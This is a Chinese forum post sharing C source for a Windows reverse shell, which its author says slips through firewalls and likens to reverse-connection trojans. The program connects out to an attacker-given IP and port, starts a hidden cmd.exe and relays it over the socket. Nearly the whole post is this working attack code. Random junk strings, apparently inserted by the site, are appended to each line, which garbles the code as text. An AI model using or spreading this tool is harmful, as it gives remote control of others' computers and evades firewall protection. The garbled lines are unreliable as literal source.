社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5540阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ,I`_F,  
nxQ}&n  
/* ============================== a$m_D!b~_  
Rebound port in Windows NT 6Z8l8:r-6  
By wind,2006/7 i03gX<=*  
===============================*/ G{o+R]Us  
#include Rd%0\ B  
#include N9]xJgTze  
kcS6_l  
#pragma comment(lib,"wsock32.lib") bulboyA&#  
#ElejQ|?  
void OutputShell(); h|p[OecG  
SOCKET sClient; l1<?ONB.#  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; u+2Lm*M  
#DUh(:E'`  
void main(int argc,char **argv) g.a| c\WH  
{ {?i)K X^  
WSADATA stWsaData; qks|d_   
int nRet; f1Zt?=  
SOCKADDR_IN stSaiClient,stSaiServer; RH1uVdJ1  
~G `J r  
if(argc != 3) bk3Unreh  
{ gX,9Gh  
printf("Useage:\n\rRebound DestIP DestPort\n"); uvB1VV4  
return; #C\4/g? =,  
} 4* M@]J "  
DB@EVH  
WSAStartup(MAKEWORD(2,2),&stWsaData); @ Nb%L&=P8  
s'L?;:)dyB  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  (M`|'o!  
6[?}6gQ  
stSaiClient.sin_family = AF_INET; ]US[5)EL-  
stSaiClient.sin_port = htons(0); 3k' .(P|F  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); wFL3& *  
ez*jjm  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) E*|tOj9`1n  
{ GDPo`# ~  
printf("Bind Socket Failed!\n"); l2&hBacT  
return; .wc = ]  
} Fe$/t(  
iV hJH4  
stSaiServer.sin_family = AF_INET;  r(`nt-o@  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); iZ; TYcT  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);  Q2\  
&1Fply7(Ay  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Ze ? g  
{ vv/J 5#^,\  
printf("Connect Error!"); ^ vbWRG~  
return; o4)hxs  
} e|'N(D}h*  
OutputShell(); }*kJ-q&0  
} 8D~x\!(p\  
r4eUZ .8R  
void OutputShell() V(mn yI  
{ xb$yu.c  
char szBuff[1024]; SRz&Nb  
SECURITY_ATTRIBUTES stSecurityAttributes; nNn56&N]  
OSVERSIONINFO stOsversionInfo; Oif,|:  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7 g6RiH}  
STARTUPINFO stStartupInfo; p|VcMxT9-  
char *szShell; UR3$B%i  
PROCESS_INFORMATION stProcessInformation; s AE9<(g&@  
unsigned long lBytesRead; |E|6=%^  
BaL]mIx  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ((MLM3zJ  
DQgH_!  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);  5$Kf]ZP  
stSecurityAttributes.lpSecurityDescriptor = 0; '29WscU  
stSecurityAttributes.bInheritHandle = TRUE; i\p:#'zk5  
b5 Q NEi  
mm,lhIh  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Hj~O49%j&  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #T% zfcUj  
/V^sJ($V$~  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 0HbJKix!  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oI@ 9}*  
stStartupInfo.wShowWindow = SW_HIDE; %v4 [{ =fE  
stStartupInfo.hStdInput = hReadPipe; dlD}Ub  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; DuNcX$%%  
7~vqf3ON4J  
GetVersionEx(&stOsversionInfo); X8CVY0<o  
Lt>7hBe"  
switch(stOsversionInfo.dwPlatformId) b UvK  
{ |Fv?6qw+  
case 1: )N)ljA3]  
szShell = "command.com"; 9X]f[^  
break; Efr&12YSS  
default: )w"0w(   
szShell = "cmd.exe"; ;.s: X  
break; /DU*M,  
} yXF|Sqv  
ma]? )1<{  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (~#G'Hd  
;BI)n]L  
send(sClient,szMsg,77,0); Gah lS*W  
while(1) A,c'g}:  
{ sXB+s  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); NG9vml  
if(lBytesRead) H#+xKYrp  
{ u^=@DO'  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6V;:+"BkJ  
send(sClient,szBuff,lBytesRead,0); 5Y-2 #  
} ORH93`  
else \!wh[qEQ\  
{ }n95< {  
lBytesRead=recv(sClient,szBuff,1024,0); RVP18ub.S  
if(lBytesRead<=0) break; bi,mM,N/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); f)^t')  
} 4oJ$dN  
} h5!d  
b-nYxd  
return; b *9-}g:  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八